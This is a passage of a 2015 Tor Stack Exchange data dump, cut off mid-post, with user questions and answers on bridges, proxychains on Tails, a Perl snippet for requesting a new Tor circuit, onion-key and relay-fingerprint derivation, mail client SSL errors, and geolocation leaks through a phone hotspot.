  <row Id="8875" PostTypeId="2" ParentId="7497" CreationDate="2015-10-21T17:47:31.893" Score="7" Body="&lt;p&gt;I would think a bridge could be considered a private relay. You can even setup the bridge so it is not broadcast to the bridge authority. In that setup you would be the only person able to give out access to the bridge, so if you wanted you could keep it private to just yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;General info on bridges:&#xA;&lt;a href=&quot;https://www.torproject.org/docs/bridges.html.en&quot; rel=&quot;noreferrer&quot;&gt;https://www.torproject.org/docs/bridges.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setup obfsproxy bridge:&#xA;&lt;a href=&quot;https://www.torproject.org/projects/obfsproxy-debian-instructions.html.en&quot; rel=&quot;noreferrer&quot;&gt;https://www.torproject.org/projects/obfsproxy-debian-instructions.html.en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9509" LastActivityDate="2015-10-21T17:47:31.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8876" PostTypeId="1" CreationDate="2015-10-21T19:52:46.120" Score="2" ViewCount="2764" Body="&lt;p&gt;I boot Tails 1.6 with persistence and with admin password in order to install proxychains then I install via apt-get an edit the /etc/proxychains.conf to add socks5 after Tor, I save the changes and proceed to run  proxychains firefox from the command line and this is what I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;amnesia@amnesia:~$ proxychains firefox&#xA;ProxyChains-3.1 (http://proxychains.sf.net)&#xA;/usr/bin/proxychains: 9: exec: firefox: not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;amnesia@amnesia:~$ proxychains tor browser&#xA;ProxyChains-3.1 (http://proxychains.sf.net)&#xA;Oct 21 19:53:44.329 [notice] Tor v0.2.6.10 (git-71459b2fe953a1c0) running on Linux with Libevent 2.0.19-stable, OpenSSL 1.0.1e and Zlib 1.2.7.&#xA;Oct 21 19:53:44.330 [notice] Tor can't help you if you use it wrong! Learn how to be safe at hxxps://ww.torproject,org/download/download#warning&#xA;Oct 21 19:53:44.330 [warn] Command-line option 'browser' with no value. Failing.&#xA;Oct 21 19:53:44.330 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone can help me on this? I googled a few hours and Im not able to find the answer&lt;/p&gt;&#xA;" OwnerUserId="9689" LastEditorUserId="350" LastEditDate="2015-10-21T21:09:19.903" LastActivityDate="2015-11-08T09:15:30.897" Title="Problems running proxychains on Tails 1.6 does not find firefox" Tags="|tails|socks|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8877" PostTypeId="2" ParentId="8844" CreationDate="2015-10-21T21:26:02.207" Score="1" Body="&lt;p&gt;After crawling through manny different documentations I found a solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (my $socket = new IO::Socket::INET(&#xA;            'PeerHost' =&amp;gt; '127.0.0.1',&#xA;            'PeerPort' =&amp;gt; '9051',&#xA;            'Proto'    =&amp;gt; 'tcp')) {&#xA;    my @requ = ('authenticate &quot;&quot;','SIGNAL NEWNYM','QUIT');&#xA;    foreach my $requ (@requ) {&#xA;        print $socket $requ.&quot;\n&quot;;&#xA;        my $dummy = &amp;lt;$socket&amp;gt;;&#xA;    }&#xA;    $socket-&amp;gt;close();&#xA;    print &quot;OK: New circuit established\n&quot;;&#xA;} else {&#xA;    print &quot;ERROR: couldn't connect with socket\n&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Explanation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my $socket = new IO::Socket::INET(&#xA;            'PeerHost' =&amp;gt; '127.0.0.1',&#xA;            'PeerPort' =&amp;gt; '9051',&#xA;            'Proto'    =&amp;gt; 'tcp')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;creates a new socket object. If this did work, it returns the socket, otherwise &lt;em&gt;undef&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I embedded this statement in an &lt;em&gt;if&lt;/em&gt;-Statement. Its first block will be executed if the socket could be created, the second block prints an error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;em&gt;if&lt;/em&gt;-Block, I send this three commants through the socket to TOR:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;authenticate &quot;&quot;&lt;/li&gt;&#xA;&lt;li&gt;SIGNAL NEWNYM&lt;/li&gt;&#xA;&lt;li&gt;QUIT&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;1 performs the null-authentification&lt;br&gt;&#xA;2 does what I really want: This command tells TOR to establish a new circuit.&lt;br&gt;&#xA;3 quits the conversation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end I close the socket and print a message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't analyze TOR's response, but I have to read it (with &lt;code&gt;$dummy = &amp;lt;$socket&amp;gt;;&lt;/code&gt;). One could check, if TOR really answers three times with &quot;250&quot;, and react if not. But I decided to hope, that it always works.&lt;/p&gt;&#xA;" OwnerUserId="1856" LastActivityDate="2015-10-21T21:26:02.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8878" PostTypeId="1" CreationDate="2015-10-21T22:41:22.650" Score="1" ViewCount="1080" Body="&lt;p&gt;I have a .onion site. Is it possible to change the private key on my existing domain?&lt;/p&gt;&#xA;" OwnerUserId="9691" LastEditorUserId="350" LastEditDate="2015-11-08T21:23:12.880" LastActivityDate="2016-02-16T21:26:36.277" Title="Change the private key for my .onion domain" Tags="|onion-routing|private-key|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8879" PostTypeId="2" ParentId="8878" CreationDate="2015-10-22T07:29:00.243" Score="3" Body="&lt;p&gt;Your host name is calculated from your private key.&lt;br&gt;&#xA;If you change your private key, you will get a new host name.  &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-10-22T07:29:00.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8880" PostTypeId="2" ParentId="108" CreationDate="2015-10-22T08:28:21.857" Score="3" Body="&lt;p&gt;@Jens's answer has a great description of current Tor. The Tor-Browser adds some &lt;a href=&quot;https://blog.torproject.org/blog/experimental-defense-website-traffic-fingerprinting&quot; rel=&quot;nofollow&quot;&gt;additional defenses&lt;/a&gt;, namely:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;it enables HTTP pipelining, so that several requests can be sent on the same &quot;batch&quot;&lt;/li&gt;&#xA;&lt;li&gt;it reorders the packets in that batch and randomly sets its size&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9411" LastActivityDate="2015-10-22T08:28:21.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8881" PostTypeId="1" CreationDate="2015-10-22T17:21:21.853" Score="3" ViewCount="2346" Body="&lt;p&gt;I am not sure what's going on here, I configured claws mail using a video tutorial i saw online, I decided to send a test message to myself after configuring and I got an error message saying I should use the queue option to send, I right clicked on queue and clicked sent and then I got an error message&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;account '****@openmailbox.org@pop.openmailbox.org' connecting to smtp server:smtp.openmailbox.org.... ssl handshake failed , error occurred while sending the message&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I did everything the right way but for some strange reason it just wouldn't work. I would really appreciate some help here. Thanks&lt;/p&gt;&#xA;" OwnerUserId="9698" LastEditorUserId="88" LastEditDate="2016-05-01T22:15:49.567" LastActivityDate="2017-01-27T02:21:41.623" Title="Error message on Claws mail - ssl handshake fail" Tags="|tails|email|" AnswerCount="4" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8884" PostTypeId="2" ParentId="8665" CreationDate="2015-10-23T03:38:20.810" Score="0" Body="&lt;p&gt;You might want to look into proxychains-ng which allows you to hop through a specific set of proxy ip addresses you set in a config file. Works great in my experience and added benefit of using more hops than Tor as you wish. &lt;/p&gt;&#xA;" OwnerUserId="9508" LastActivityDate="2015-10-23T03:38:20.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8885" PostTypeId="2" ParentId="4761" CreationDate="2015-10-23T04:10:14.040" Score="0" Body="&lt;p&gt;I'm pretty sure it is for faster look-ups, reference, and uniqueness. Just like using hashes in a regular database. &lt;/p&gt;&#xA;" OwnerUserId="9508" LastActivityDate="2015-10-23T04:10:14.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8886" PostTypeId="1" CreationDate="2015-10-23T13:41:59.487" Score="1" ViewCount="729" Body="&lt;p&gt;according to Tor's specifications, the fingerprint is&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A fingerprint (a HASH_LEN-byte of asn1 encoded public key, encoded in&#xA;  hex, with a single space after every 4 characters) for this router's&#xA;  identity key. A descriptor is considered invalid (and MUST be&#xA;  rejected) if the fingerprint line does not match the public key.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But I can't manage to recalculate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I correctly understand, the fingerprint is 20 bytes of HEX value of the 'authority_signing_key', right ?&lt;/p&gt;&#xA;" OwnerUserId="7498" LastActivityDate="2015-10-24T11:11:21.647" Title="How Tor's fingerprint is calculated?" Tags="|configuration|directory|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8887" PostTypeId="2" ParentId="8863" CreationDate="2015-10-23T17:19:29.270" Score="1" Body="&lt;p&gt;Have a look at the 2014 DRAFT v1, &lt;a href=&quot;http://sec.cs.ucl.ac.uk/users/smurdoch/papers/tor14design.pdf&quot; rel=&quot;nofollow&quot;&gt;Tor Design Document&lt;/a&gt; (which seems to be more up-to-date than the &lt;a href=&quot;https://svn.torproject.org/svn/projects/design-paper/tor-design.html&quot; rel=&quot;nofollow&quot;&gt;version&lt;/a&gt; in the Tor SVN repository).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cells are discussed in section 4.1 (page 5).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The short answer is: varying the length of cells makes detecting Tor traffic more difficult. You can't just keep an eye out for cells of 512 bytes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fixed-size cells provide some resistance to traffic analysis but are&#xA;  inefficient, so some control cells are variable length, where the&#xA;  ability of an attacker to detect their presence doesn’t affect&#xA;  security. Fixed-size cells also make the&#xA;  packet-size distribution of Tor distinctive, contrary to the goal&#xA;  of protocol-fingerprinting resistance. Therefore a variable length&#xA;  padding cell was introduced (but is currently unused)&#xA;  to allow the implementation of schemes to disguise packet&#xA;  length.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Note: I'm unsure if the variable-length padding cell, mentioned in the final sentence, has actually been implemented since this document was created.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-10-23T17:19:29.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8888" PostTypeId="1" CreationDate="2015-10-23T17:27:26.163" Score="1" ViewCount="605" Body="&lt;p&gt;I want to connect to an IRC server but the server is rejecting Tor users. &#xA;How can I use Pidgin, or any other IRC program to connect outside Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &lt;strong&gt;Pidgin &gt;&gt;  Modify &gt;&gt; Proxy &gt;&gt; Proxy type: No proxy&lt;/strong&gt; but Pidgin gives an error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unable to connect: Connection refused&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I use &lt;strong&gt;&gt;&gt; Global proxy settings&lt;/strong&gt; and try to connect then Pidgin gives the error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ERROR :Tor exit node detected (port 80)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9702" LastEditorUserId="5445" LastEditDate="2015-10-25T22:29:34.627" LastActivityDate="2015-10-25T22:29:34.627" Title="How to configure Pidgin without Tor?" Tags="|configuration|chat|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8890" PostTypeId="2" ParentId="8886" CreationDate="2015-10-24T11:11:21.647" Score="1" Body="&lt;p&gt;Fingerprint is the SHA1 digest of Base64 decoded public key.&#xA;For example, if RSA_PUB is the RSA public key of the authority_certificate&#xA;than to calculate the Fingerprint:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; echo RSA_PUB | base64 -d | openssl sha1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks Richard Horrocks, reminded me on Base64.&lt;/p&gt;&#xA;" OwnerUserId="7498" LastActivityDate="2015-10-24T11:11:21.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8891" PostTypeId="1" CreationDate="2015-10-24T14:02:02.473" Score="1" ViewCount="136" Body="&lt;p&gt;There are many different &lt;a href=&quot;https://community.openvpn.net/openvpn/wiki/TrafficObfuscation&quot; rel=&quot;nofollow&quot;&gt;applications&lt;/a&gt; that try to bypass censorship by Obfsproxy, but in OSX, how we can communicate with Obfsproxy as we can easily do in Linux? Terminal says -bash: obfsproxy: command not found&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, how can I ask Obfsproxy to use a socks proxy before connecting to the server? in TBB's GUI, I can set proxy rules but in stand-alone Obfsproxy, I have no idea.&lt;/p&gt;&#xA;" OwnerUserId="9711" LastEditorUserId="350" LastEditDate="2015-10-24T19:28:25.667" LastActivityDate="2015-10-27T12:51:23.420" Title="Using stand-alone Obfsproxy in OSX" Tags="|vpn|mac|obfsproxy|openvpn|" AnswerCount="0" CommentCount="0" ClosedDate="2015-11-05T15:14:39.483" ContentLicense="CC BY-SA 3.0" />
  <row Id="8892" PostTypeId="2" ParentId="8881" CreationDate="2015-10-24T18:03:20.137" Score="-1" Body="&lt;p&gt;We have been experiencing a similar issue sporadically when trying to send email to accounts on smtp servers at gmail.com, ruggedinbox.com, and riseup.net from the smtp server at onionmail.info&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We don't believe it is an issue with client configuration or a claws bug. We believe it is a structural issue that arises from poor interaction between the CA model of public-key infrastructure and the asynchronous nature of email. You see, unlike the world wide web, email protocols do not require both servers to be online at the same time. Emails can be stored and forwarded by intermediate servers and, as a result, most email servers have not traditionally enforced any kind of encryption to other servers (since they may have to trust a man-in-the-middle server anyway). Fast forward 20 years and, now that most of the email servers people use are online 24-7 so that end-to-end encryption can almost always be used between servers, many email servers seem to being playing games with their DNS records and public-keys as an anti-spam measure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, in the face of mass surveillence, consciencious administrators are setting up their smtp servers to require encryption instead of defaulting to plain text, but this means that they're having connection failures when trying to connect to traditionally configured servers and/or servers playing anti-spam games with the public-key infrastructure (or also, possibly, servers experiencing real man-in-the-middle attacks on their encrypted connections). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/13437484/why-dont-googles-mx-servers-match-the-ssl-certificate-cn&quot;&gt;https://stackoverflow.com/questions/13437484/why-dont-googles-mx-servers-match-the-ssl-certificate-cn&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we are wrong and it is a client configuration problem or a claws bug then, please, fix our code:&#xA;&lt;a href=&quot;http://en.onionmail.info&quot; rel=&quot;nofollow&quot;&gt;http://en.onionmail.info&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.louhlbgyupgktsw7.onion&quot; rel=&quot;nofollow&quot;&gt;http://en.louhlbgyupgktsw7.onion&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9712" LastActivityDate="2015-10-24T18:03:20.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8893" PostTypeId="2" ParentId="8869" CreationDate="2015-10-24T19:10:26.423" Score="1" Body="&lt;p&gt;That is a local problem which is probably related to your firewall. The control ports which need to be tunneled through the firewall are &lt;code&gt;9150&lt;/code&gt; and &lt;code&gt;9151&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;at &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/11023&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/ticket/11023&lt;/a&gt; user &quot;badon&quot; says&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I copied my portable Tor Browser Bundle to another drive, and it&#xA;  worked!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;you could give that a try, too&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;see if the problem occurs in Safe Mode with Networking (press F8 while starting to access)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;try the TBB on a friend's computer to see if you have the same problem&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;follow the steps at &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/11776&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/ticket/11776&lt;/a&gt;.&#xA;(f.ex. by uninstalling your AV software)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;check your firewall&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;see &lt;a href=&quot;https://superuser.com/questions/611620/firewall-blocks-localhost-but-only-if-its-turned-on&quot;&gt;https://superuser.com/questions/611620/firewall-blocks-localhost-but-only-if-its-turned-on&lt;/a&gt; where the problem is in the &lt;code&gt;hosts&lt;/code&gt; file.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://superuser.com/questions/401900/how-to-block-localhost-connections-with-windows-7-2008r2-firewall&quot;&gt;https://superuser.com/questions/401900/how-to-block-localhost-connections-with-windows-7-2008r2-firewall&lt;/a&gt; says that the windows firewall should not be the problem if you are able to access tor.sx.&lt;/li&gt;&#xA;&lt;li&gt;have a look at &lt;a href=&quot;http://windows.microsoft.com/en-us/windows/understanding-firewall-settings#1TC=windows-7&quot; rel=&quot;nofollow noreferrer&quot;&gt;official documentation&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There are directions on changing your ports from 9150/9151 to others at &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/13150&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/ticket/13150&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;download &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;TAILS&lt;/a&gt; to a USB stick and boot from it to use Tor.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9411" LastEditorUserId="-1" LastEditDate="2017-03-20T10:18:02.923" LastActivityDate="2015-10-30T15:27:38.733" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8897" PostTypeId="2" ParentId="8763" CreationDate="2015-10-25T19:14:49.240" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Could they have made a scan of all the .onion websites in 3 hours?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is impossible in the way of brute-force attack. Because you can not check all possible variants of .onion's names. It is too many at the First and at the Second - Tor's bandwidth simply will do not give you a chance for this. You must remember, it is not an Internet, it is much-much slower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, HS designed in such way that founder of .onion could hide its existence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many answered questions here about this. You can't get the list of all onions, there is no one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In light of this, we can assume that there are 10,000 onions or 20,000 onions web sites on-line and only 7,000 are public, others are hidden / private.&lt;/p&gt;&#xA;" OwnerUserId="9723" LastActivityDate="2015-10-25T19:14:49.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8898" PostTypeId="2" ParentId="8773" CreationDate="2015-10-25T19:24:09.017" Score="0" Body="&lt;p&gt;Good Idea!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you should have another one computer for personal life, with your real facebook account and e-mail. Clean, crystal you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And use Tored machine like you are not you. Means, never use your real name, real ID, driver licence, credit cards.  Only shadow, only bitcoin, only Tor.&lt;/p&gt;&#xA;" OwnerUserId="9724" LastActivityDate="2015-10-25T19:24:09.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8899" PostTypeId="2" ParentId="7540" CreationDate="2015-10-25T19:52:30.867" Score="1" Body="&lt;p&gt;I used to have a similar problem as you. Now it is fixed for me, using the method described here:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/17377&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/17377&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;obfs4proxy crash no apparent reason&lt;br&gt;&#xA;  Problem solved by change the relative path in the torrc-defaults to absolute path where the installation path insdead&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9725" LastEditorUserId="350" LastEditDate="2015-10-25T20:03:21.570" LastActivityDate="2015-10-25T20:03:21.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8900" PostTypeId="1" AcceptedAnswerId="8933" CreationDate="2015-10-25T22:35:41.460" Score="3" ViewCount="1030" Body="&lt;p&gt;Why does a restart cause a relay to lose the Guard and HSDir flag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that the Guard and HSDir flag are based on time in the network. However, why is it important when the last restart happened?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Isn't it counterproductive if a relay loses these flags, because it or its OS gets updated and therefor has to be restarted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also couldn't that be easily faked? While time in the network can be checked against historical data isn't it hard to check for constant uptime without restarts?&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2015-11-04T20:33:14.170" Title="Why does a restart cause a relay to lose the Guard and HSDir flag?" Tags="|relays|directory|flags|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8901" PostTypeId="1" AcceptedAnswerId="8902" CreationDate="2015-10-26T14:50:30.593" Score="0" ViewCount="113" Body="&lt;p&gt;I think I disabled it a while ago due to the local file disclosure issue, but I can't be certain. Does the latest stable TBB (5.0.3) have this enabled by default? It's really handy to read PDFs with pdf.js, but I don't want it enabled unless it is supposed to be.&lt;/p&gt;&#xA;" OwnerUserId="9729" LastActivityDate="2015-10-26T15:10:45.887" Title="Is pdf.js enabled by default on TBB 5.0.3?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8902" PostTypeId="2" ParentId="8901" CreationDate="2015-10-26T15:10:45.887" Score="0" Body="&lt;p&gt;Yes pdf.js is enabled by default. It is preferred to use this rather than downloading the actual pdf. In general pdfs tend to be a security risk though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although old, here is some more information regarding pdf.js in TBB&#xA;&lt;a href=&quot;https://tor.stackexchange.com/questions/1929/pdf-files-opening-on-new-tab-on-click-is-it-safe&quot;&gt;pdf files opening on new tab on-click, is it safe?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I would suggest using tails if you are viewing PDFs over Tor often.&lt;/p&gt;&#xA;" OwnerUserId="9509" LastActivityDate="2015-10-26T15:10:45.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8905" PostTypeId="1" CreationDate="2015-10-27T02:51:47.613" Score="2" ViewCount="675" Body="&lt;p&gt;I have been using orbot/orfox on an android/cyanogen tablet. However, a website seems to still know my location. I would like to prevent this, but I'm not sure what I'm doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not torifying apps, only using orfox. I will start a new orbot session, then check the browser, which shows a different IP. Then I visit the site using a private tab. After this I clear the browser data. The next time I visit, I follow the same procedure. However, the site remembers my location (like town, not just nation). I haven't whitelisted the site in NoScript. I clear the data on in orfox regularly. I don't mix modes of anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can the site be storing something on my device to ID me? If so, is there a way to remove this and prevent its recurrence? Or is there some sort of personal info I might be leaking?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance for any help!&lt;/p&gt;&#xA;" OwnerUserId="9734" LastActivityDate="2015-10-27T02:51:47.613" Title="Website seems to know location / Orbot &amp; Orfox" Tags="|configuration|anonymity|android|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8906" PostTypeId="1" CreationDate="2015-10-27T11:13:34.740" Score="3" ViewCount="444" Body="&lt;p&gt;Starting with the new browser bundle, I got an error with the the identities for the bridges. I'm working in a censored network, only meek was going well in the past. Now I got the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;27.10.2015 11:39:56.200 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;27.10.2015 11:40:00.000 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;27.10.2015 11:40:00.000 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;27.10.2015 11:40:00.900 [WARN] Tried connecting to router at 0.0.2.0:2, but identity key was not as expected: wanted 4EE0CC769EB4B15A872F742EDE27D298A59DCADE but got 6DDD1DB8526282837C50E9AB5D14AB50150CD624. &#xA;27.10.2015 11:40:00.900 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (Unexpected identity in router certificate; IDENTITY; count 1; recommendation warn; host 4EE0CC769EB4B15A872F742EDE27D298A59DCADE at 0.0.2.0:2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've already handled it by overwriting the identity key with the received in &lt;em&gt;extension-overrides.js&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any security doubts now?&lt;/p&gt;&#xA;" OwnerUserId="9739" LastEditorUserId="350" LastEditDate="2015-10-31T17:14:49.030" LastActivityDate="2016-03-11T00:36:29.937" Title="Identity mismatch, bootstrap doesn't finish" Tags="|tor-browser-bundle|bootstrapping|meek|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8907" PostTypeId="1" CreationDate="2015-10-27T18:26:14.513" Score="0" ViewCount="122" Body="&lt;p&gt;I understand that for best security Tor needs to be used along with Tor browser. Sometimes I do not use Tor browser and I configure Firefox to use SOCKS5 proxy. The following happened while I was using Tor via a SOCKS5 Proxy with Java scripts etc enabled. I do this &lt;strong&gt;only&lt;/strong&gt; when I am not concerned of my privacy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had given my PC a wifi hotspot through my mobile phone and I visited this Microsoft Maps link refereed by a Facebook page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.here.com/directions/mylocation/Bayleaf-Restaurant:6.909295,79.871307?map=6.909295,79.871307,12&amp;amp;ref=facebook&amp;amp;link=directions&amp;amp;fb_locale=en_US&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.here.com/directions/mylocation/Bayleaf-Restaurant:6.909295,79.871307?map=6.909295,79.871307,12&amp;amp;ref=facebook&amp;amp;link=directions&amp;amp;fb_locale=en_US&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this link was a request by Firefox that asked if I like to allow my location to be shared with this particular webpage. This webpage was supposed to provide me directions to a dining place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I curiously pressed &quot;allow&quot; and surprisingly the exact location of my home was pointed out. I would still like to emphasize the fact that I was using Tor as a SOCKS5 proxy with DNS too routed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My laptop does not have a GPS device but my phone which offered the Wifi hotspot did. But effectively, my mobile hotspot which was powered by mobile service provider Dialog has given away my true location to my PC. I am keen to know how this transfer has happened. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S: &#xA;I also found out my mobile Wifi hotspot leaks its location to Firefox on laptop via a location service provided by Mozilla as well.&#xA;&lt;a href=&quot;https://www.mozilla.org/en-US/firefox/geolocation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.mozilla.org/en-US/firefox/geolocation/&lt;/a&gt;&#xA;I was able to precisely get my location (pointing right to my home) from this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.P.S: &#xA;I believe this situation is more specific. The mobile phone gets location from a method called cell tower triangulation. I want to know if my mobile phone can leak out its location (which is figured from cell tower triangulation) through its hotspot to Firefox. 